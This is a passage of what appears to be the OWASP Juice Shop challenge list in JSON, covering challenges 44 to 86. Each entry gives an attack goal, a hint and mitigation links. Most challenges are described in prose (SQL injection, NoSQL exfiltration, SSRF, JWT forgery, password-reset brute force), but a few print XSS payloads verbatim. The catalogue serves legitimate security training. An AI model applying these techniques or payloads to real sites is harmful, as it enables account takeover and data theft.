instead.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_inform_the_shop_about_a_typosquatting_trick_it_has_been_a_victim_of","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":44,"key":"loginAdminChallenge","name":"Login Admin","category":"Injection","tags":"Tutorial,Good for Demos","description":"Log in with the administrator\'s user account.","difficulty":2,"hint":"Try different SQL Injection attack patterns depending whether you know the admin\'s email address or not.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_log_in_with_the_administrators_user_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":5,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":45,"key":"loginAmyChallenge","name":"Login Amy","category":"Sensitive Data Exposure","tags":"OSINT","description":"Log in with Amy\'s original user credentials. (This could take 93.83 billion trillion trillion centuries to brute force, but luckily she did not read the \\"One Important Final Note\\")","difficulty":3,"hint":"This challenge will make you go after a needle in a haystack.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_log_in_with_amys_original_user_credentials","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":46,"key":"loginBenderChallenge","name":"Login Bender","category":"Injection","tags":"Tutorial","description":"Log in with Bender\'s user account.","difficulty":3,"hint":"If you know Bender\'s email address, try SQL Injection. Bender\'s password hash might not help you very much.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_log_in_with_benders_user_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":10,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":47,"key":"oauthUserPasswordChallenge","name":"Login Bjoern","category":"Broken Authentication","tags":"Code Analysis","description":"Log in with Bjoern\'s Gmail account <i>without</i> previously changing his password, applying SQL Injection, or hacking his Google account.","difficulty":4,"hint":"The security flaw behind this challenge is 100% OWASP Juice Shop\'s fault and 0% Google\'s.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_log_in_with_bjoerns_gmail_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":48,"key":"loginJimChallenge","name":"Login Jim","category":"Injection","tags":"Tutorial","description":"Log in with Jim\'s user account.","difficulty":3,"hint":"Try cracking Jim\'s password hash if you harvested it already. Alternatively, if you know Jim\'s email address, try SQL Injection.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_log_in_with_jims_user_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":9,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":49,"key":"loginRapperChallenge","name":"Login MC SafeSearch","category":"Sensitive Data Exposure","tags":"Shenanigans,OSINT","description":"Log in with MC SafeSearch\'s original user credentials without applying SQL Injection or any other bypass.","difficulty":2,"hint":"You should listen to MC\'s hit song \\"Protect Ya Passwordz\\".","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_log_in_with_mc_safesearchs_original_user_credentials","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":50,"key":"loginSupportChallenge","name":"Login Support Team","category":"Security Misconfiguration","tags":"Brute Force,Code Analysis","description":"Log in with the support team\'s original user credentials without applying SQL Injection or any other bypass.","difficulty":6,"hint":"The underlying flaw of this challenge is a lot more human error than technical weakness.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-misconfiguration.html#_log_in_with_the_support_teams_original_user_credentials","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.184Z","updatedAt":"2024-03-05T22:20:43.184Z"},{"id":51,"key":"basketManipulateChallenge","name":"Manipulate Basket","category":"Broken Access Control","tags":null,"description":"Put an additional product into another user\'s shopping basket.","difficulty":3,"hint":"Have an eye on the HTTP traffic while placing products in the shopping basket. Changing the quantity of products already in the basket doesn\'t count.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_put_an_additional_product_into_another_users_shopping_basket","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":52,"key":"misplacedSignatureFileChallenge","name":"Misplaced Signature File","category":"Sensitive Data Exposure","tags":"Good Practice,Contraption","description":"Access a misplaced <a href=\\"https://github.com/Neo23x0/sigma\\">SIEM signature</a> file.","difficulty":4,"hint":"You need to trick a security mechanism into thinking that the file you want has a valid file type.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_access_a_misplaced_siem_signature_file","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":53,"key":"timingAttackChallenge","name":"Multiple Likes","category":"Broken Anti Automation","tags":null,"description":"Like any review at least three times as the same user.","difficulty":6,"hint":"Punctuality is the politeness of kings.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-anti-automation.html#_like_any_review_at_least_three_times_as_the_same_user","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":54,"key":"easterEggLevelTwoChallenge","name":"Nested Easter Egg","category":"Cryptographic Issues","tags":"Shenanigans,Good for Demos","description":"Apply some advanced cryptanalysis to find <i>the real</i> easter egg.","difficulty":4,"hint":"You might have to peel through several layers of tough-as-nails encryption for this challenge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_apply_some_advanced_cryptanalysis_to_find_the_real_easter_egg","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":55,"key":"noSqlCommandChallenge","name":"NoSQL DoS","category":"Injection","tags":"Danger Zone","description":"Let the server sleep for some time. (It has done more than enough hard work for you)","difficulty":4,"hint":"This challenge is essentially a stripped-down Denial of Service (DoS) attack.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_let_the_server_sleep_for_some_time","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":56,"key":"noSqlOrdersChallenge","name":"NoSQL Exfiltration","category":"Injection","tags":"Danger Zone","description":"All your orders are belong to us! Even the ones which don\'t.","difficulty":5,"hint":"Take a close look on how the $where query operator works in MongoDB.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_all_your_orders_are_belong_to_us","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":57,"key":"noSqlReviewsChallenge","name":"NoSQL Manipulation","category":"Injection","tags":null,"description":"Update multiple product reviews at the same time.","difficulty":4,"hint":"Take a close look on how the equivalent of UPDATE-statements in MongoDB work.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_update_multiple_product_reviews_at_the_same_time","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":58,"key":"redirectCryptoCurrencyChallenge","name":"Outdated Allowlist","category":"Unvalidated Redirects","tags":"Code Analysis","description":"Let us redirect you to one of our crypto currency addresses which are not promoted any longer.","difficulty":1,"hint":"We might have failed to take this out of our code properly.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/unvalidated-redirects.html#_let_us_redirect_you_to_one_of_our_crypto_currency_addresses","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":59,"key":"weakPasswordChallenge","name":"Password Strength","category":"Broken Authentication","tags":"Brute Force,Tutorial","description":"Log in with the administrator\'s user credentials without previously changing them or applying SQL Injection.","difficulty":2,"hint":"This one should be equally easy to a) brute force, b) crack the password hash or c) simply guess.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_log_in_with_the_administrators_user_credentials_without_previously_changing_them_or_applying_sql_injection","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":6,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":60,"key":"negativeOrderChallenge","name":"Payback Time","category":"Improper Input Validation","tags":null,"description":"Place an order that makes you rich.","difficulty":3,"hint":"You literally need to make the shop owe you any amount of money.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_place_an_order_that_makes_you_rich","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":61,"key":"premiumPaywallChallenge","name":"Premium Paywall","category":"Cryptographic Issues","tags":"Shenanigans","description":"<i class=\\"far fa-gem\\"></i><i class=\\"far fa-gem\\"></i><i class=\\"far fa-gem\\"></i><i class=\\"far fa-gem\\"></i><i class=\\"far fa-gem\\"></i><!--IvLuRfBJYlmStf9XfL6ckJFngyd9LfV1JaaN/KRTPQPidTuJ7FR+D/nkWJUF+0xUF07CeCeqYfxq+OJVVa0gNbqgYkUNvn//UbE7e95C+6e+7GtdpqJ8mqm4WcPvUGIUxmGLTTAC2+G9UuFCD1DUjg==--> <a href=\\"https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm\\" target=\\"_blank\\"><i class=\\"fab fa-btc fa-sm\\"></i> Unlock Premium Challenge</a> to access exclusive content.","difficulty":6,"hint":"You do not have to pay anything to unlock this challenge! Nonetheless, donations are very much appreciated.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_unlock_premium_challenge_to_access_exclusive_content","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":62,"key":"privacyPolicyChallenge","name":"Privacy Policy","category":"Miscellaneous","tags":"Good Practice,Tutorial,Good for Demos","description":"Read our privacy policy.","difficulty":1,"hint":"We won\'t even ask you to confirm that you did. Just read it. Please. Pretty please.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/miscellaneous.html#_read_our_privacy_policy","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":4,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":63,"key":"privacyPolicyProofChallenge","name":"Privacy Policy Inspection","category":"Security through Obscurity","tags":"Shenanigans,Good for Demos","description":"Prove that you actually read our privacy policy.","difficulty":3,"hint":"Only by visiting a special URL you can confirm that you read it carefully.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-through-obscurity.html#_prove_that_you_actually_read_our_privacy_policy","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":64,"key":"changeProductChallenge","name":"Product Tampering","category":"Broken Access Control","tags":null,"description":"Change the <code>href</code> of the link within the <a href=\\"/#/search?q=OWASP SSL Advanced Forensic Tool (O-Saft)\\">OWASP SSL Advanced Forensic Tool (O-Saft)</a> product description into <i>https://owasp.slack.com</i>.","difficulty":3,"hint":"Look for one of the following: a) broken admin functionality, b) holes in RESTful API or c) possibility for SQL Injection.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_change_the_href_of_the_link_within_the_o_saft_product_description","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":65,"key":"reflectedXssChallenge","name":"Reflected XSS","category":"XSS","tags":"Danger Zone,Good for Demos","description":"Perform a <i>reflected</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code>.","difficulty":2,"hint":"Look for a url parameter where its value appears in the page it is leading to.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_reflected_xss_attack","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":66,"key":"passwordRepeatChallenge","name":"Repetitive Registration","category":"Improper Input Validation","tags":null,"description":"Follow the DRY principle while registering a user.","difficulty":1,"hint":"You can solve this by cleverly interacting with the UI or bypassing it altogether.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_follow_the_dry_principle_while_registering_a_user","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":67,"key":"resetPasswordBenderChallenge","name":"Reset Bender\'s Password","category":"Broken Authentication","tags":"OSINT","description":"Reset Bender\'s password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":4,"hint":"Not as trivial as Jim\'s but still not too difficult with some \\"Futurama\\" background knowledge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_benders_password_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":68,"key":"resetPasswordBjoernChallenge","name":"Reset Bjoern\'s Password","category":"Broken Authentication","tags":"OSINT","description":"Reset the password of Bjoern\'s internal account via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":5,"hint":"Nothing a little bit of Facebook stalking couldn\'t reveal. Might involve a historical twist.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_the_password_of_bjoerns_internal_account_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":69,"key":"resetPasswordJimChallenge","name":"Reset Jim\'s Password","category":"Broken Authentication","tags":"OSINT","description":"Reset Jim\'s password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":3,"hint":"It\'s hard for celebrities to pick a security question from a hard-coded list where the answer is not publicly exposed.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_jims_password_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.193Z","updatedAt":"2024-03-05T22:20:43.193Z"},{"id":70,"key":"resetPasswordMortyChallenge","name":"Reset Morty\'s Password","category":"Broken Anti Automation","tags":"OSINT,Brute Force","description":"Reset Morty\'s password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>his obfuscated answer</i> to his security question.","difficulty":5,"hint":"Find a way to bypass the rate limiting and brute force the obfuscated answer to Morty\'s security question.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-anti-automation.html#_reset_mortys_password_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":71,"key":"retrieveBlueprintChallenge","name":"Retrieve Blueprint","category":"Sensitive Data Exposure","tags":null,"description":"Deprive the shop of earnings by downloading the blueprint for one of its products.","difficulty":5,"hint":"The product you might want to give a closer look is the OWASP Juice Shop Logo (3D-printed).","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_deprive_the_shop_of_earnings_by_downloading_the_blueprint_for_one_of_its_products","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":72,"key":"ssrfChallenge","name":"SSRF","category":"Broken Access Control","tags":"Code Analysis","description":"Request a hidden resource on server through server.","difficulty":6,"hint":"Reverse engineering something bad can make good things happen.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_request_a_hidden_resource_on_server_through_server","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":73,"key":"sstiChallenge","name":"SSTi","category":"Injection","tags":"Contraption,Danger Zone,Code Analysis","description":"Infect the server with juicy malware by abusing arbitrary command execution.","difficulty":6,"hint":"\\"SSTi\\" is a clear indicator that this has nothing to do with anything Angular. Also, make sure to use only our non-malicious malware.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_infect_the_server_with_juicy_malware_by_abusing_arbitrary_command_execution","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":74,"key":"scoreBoardChallenge","name":"Score Board","category":"Miscellaneous","tags":"Tutorial,Code Analysis","description":"Find the carefully hidden \'Score Board\' page.","difficulty":1,"hint":"Try to find a reference or clue behind the scenes. Or simply guess what URL the Score Board might have.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/score-board.html#_find_the_carefully_hidden_score_board_page","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":1,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":75,"key":"securityPolicyChallenge","name":"Security Policy","category":"Miscellaneous","tags":"Good Practice","description":"Behave like any \\"white-hat\\" should before getting into the action.","difficulty":2,"hint":"Undoubtedly you want to read our security policy before conducting any research on our application.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/miscellaneous.html#_behave_like_any_white_hat_should_before_getting_into_the_action","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":76,"key":"persistedXssFeedbackChallenge","name":"Server-side XSS Protection","category":"XSS","tags":"Danger Zone","description":"Perform a <i>persisted</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code> bypassing a <i>server-side</i> security mechanism.","difficulty":4,"hint":"The \\"Comment\\" field in the \\"Customer Feedback\\" screen is where you want to put your focus on.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_persisted_xss_attack_bypassing_a_server_side_security_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":77,"key":"hiddenImageChallenge","name":"Steganography","category":"Security through Obscurity","tags":"Shenanigans","description":"<a href=\\"/#/contact\\">Rat out</a> a notorious character hiding in plain sight in the shop. (Mention the exact name of the character)","difficulty":4,"hint":"No matter how good your eyes are, you will need tool assistance for this challenge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-through-obscurity.html#_rat_out_a_notorious_character_hiding_in_plain_sight_in_the_shop","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":78,"key":"rceOccupyChallenge","name":"Successful RCE DoS","category":"Insecure Deserialization","tags":"Danger Zone","description":"Perform a Remote Code Execution that occupies the server for a while without using infinite loops.","difficulty":6,"hint":"Your attack payload must not trigger the protection against too many iterations.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/insecure-deserialization.html#_perform_a_remote_code_execution_that_occupies_the_server_for_a_while_without_using_infinite_loops","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":79,"key":"supplyChainAttackChallenge","name":"Supply Chain Attack","category":"Vulnerable Components","tags":"OSINT","description":"<a href=\\"/#/contact\\">Inform the development team</a> about a danger to some of <em>their</em> credentials. (Send them the URL of the <em>original report</em> or an assigned CVE or another identifier of this vulnerability)","difficulty":5,"hint":"This vulnerability will not affect any customer of the shop. It is aimed exclusively at its developers.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_inform_the_development_team_about_a_danger_to_some_of_their_credentials","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":80,"key":"twoFactorAuthUnsafeSecretStorageChallenge","name":"Two Factor Authentication","category":"Broken Authentication","tags":null,"description":"Solve the 2FA challenge for user \\"wurstbrot\\". (Disabling, bypassing or overwriting his 2FA settings does not count as a solution)","difficulty":5,"hint":"The 2FA implementation requires to store a secret for every user. You will need to find a way to access this secret in order to solve this challenge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_solve_the_2fa_challenge_for_user_wurstbrot","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":81,"key":"jwtUnsignedChallenge","name":"Unsigned JWT","category":"Vulnerable Components","tags":null,"description":"Forge an essentially unsigned JWT token that impersonates the (non-existing) user <i>jwtn3d@juice-sh.op</i>.","difficulty":5,"hint":"This challenge exploits a weird option that is supported when signing tokens with JWT.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_forge_an_essentially_unsigned_jwt_token","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":82,"key":"uploadSizeChallenge","name":"Upload Size","category":"Improper Input Validation","tags":null,"description":"Upload a file larger than 100 kB.","difficulty":3,"hint":"You can attach a small file to the \\"Complaint\\" form. Investigate how this upload actually works.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_upload_a_file_larger_than_100_kb","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":83,"key":"uploadTypeChallenge","name":"Upload Type","category":"Improper Input Validation","tags":null,"description":"Upload a file that has no .pdf or .zip extension.","difficulty":3,"hint":"You can attach a PDF or ZIP file to the \\"Complaint\\" form. Investigate how this upload actually works.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_upload_a_file_that_has_no_pdf_or_zip_extension","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":84,"key":"unionSqlInjectionChallenge","name":"User Credentials","category":"Injection","tags":null,"description":"Retrieve a list of all user credentials via SQL Injection.","difficulty":4,"hint":"Gather information on where user data is stored and how it is addressed. Then craft a corresponding UNION SELECT attack.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_retrieve_a_list_of_all_user_credentials_via_sql_injection","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":85,"key":"videoXssChallenge","name":"Video XSS","category":"XSS","tags":"Danger Zone","description":"Embed an XSS payload <code></script><script>alert(`xss`)</script></code> into our promo video.","difficulty":6,"hint":"You have to reuse the vulnerability behind one other 6-star challenge to be able to solve this one.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_embed_an_xss_payload_into_our_promo_video","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":86,"key":"basketAccessChallenge","name":"View Basket","category":"Broken Access Control","tags":"Tutorial,Good for Demos","description":"View another user\'s shopping basket.","difficulty":2,"hint":"Have an eye on the HTTP traffic while shopping. Alternatively try to find a client-side association of users to their 